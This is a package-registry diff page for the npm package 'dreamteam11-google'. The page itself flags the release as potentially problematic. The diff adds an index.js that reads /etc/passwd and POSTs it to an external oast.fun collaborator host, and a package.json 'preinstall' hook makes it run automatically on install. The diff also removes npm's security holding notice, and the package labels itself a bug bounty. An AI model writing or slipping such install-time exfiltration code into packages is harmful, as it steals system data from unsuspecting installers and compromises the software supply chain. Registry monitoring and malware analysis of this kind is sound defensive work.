dreamteam11-google 0.0.1-security → 68.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of dreamteam11-google might be problematic. Click here for more details.
- package/index.js +36 -0
- package/package.json +10 -4
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,36 @@
|
|
1
|
+
const { spawn } = require('child_process');
|
2
|
+
const http = require('http');
|
3
|
+
|
4
|
+
const collaboratorHost = 'cgnatw32vtc0000xben0gekipqyyyyyyb.oast.fun'; // Replace with your Burp Collaborator Host
|
5
|
+
const collaboratorPort = 80; // Replace with your Burp Collaborator Port
|
6
|
+
const collaboratorPath = '/'; // Replace with your Burp Collaborator Path
|
7
|
+
|
8
|
+
const catProcess = spawn('cat', ['/etc/passwd']); // Replace <file-path> with the path of the file you want to read
|
9
|
+
|
10
|
+
catProcess.stdout.on('data', (data) => {
|
11
|
+
const output = data.toString();
|
12
|
+
const request = http.request({
|
13
|
+
method: 'POST',
|
14
|
+
host: collaboratorHost,
|
15
|
+
port: collaboratorPort,
|
16
|
+
path: collaboratorPath,
|
17
|
+
headers: {
|
18
|
+
'Content-Type': 'text/plain',
|
19
|
+
'Content-Length': output.length
|
20
|
+
}
|
21
|
+
}, (response) => {
|
22
|
+
// Do something with the response
|
23
|
+
console.log(`Response status: ${response.statusCode}`);
|
24
|
+
});
|
25
|
+
|
26
|
+
request.write(output);
|
27
|
+
request.end();
|
28
|
+
});
|
29
|
+
|
30
|
+
catProcess.stderr.on('data', (data) => {
|
31
|
+
console.error(`Error: ${data}`);
|
32
|
+
});
|
33
|
+
|
34
|
+
catProcess.on('close', (code) => {
|
35
|
+
console.log(`child process exited with code ${code}`);
|
36
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "dreamteam11-google",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "68.2.2",
|
4
|
+
"description": "adityan bug bounty",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=dreamteam11-google for more information.
|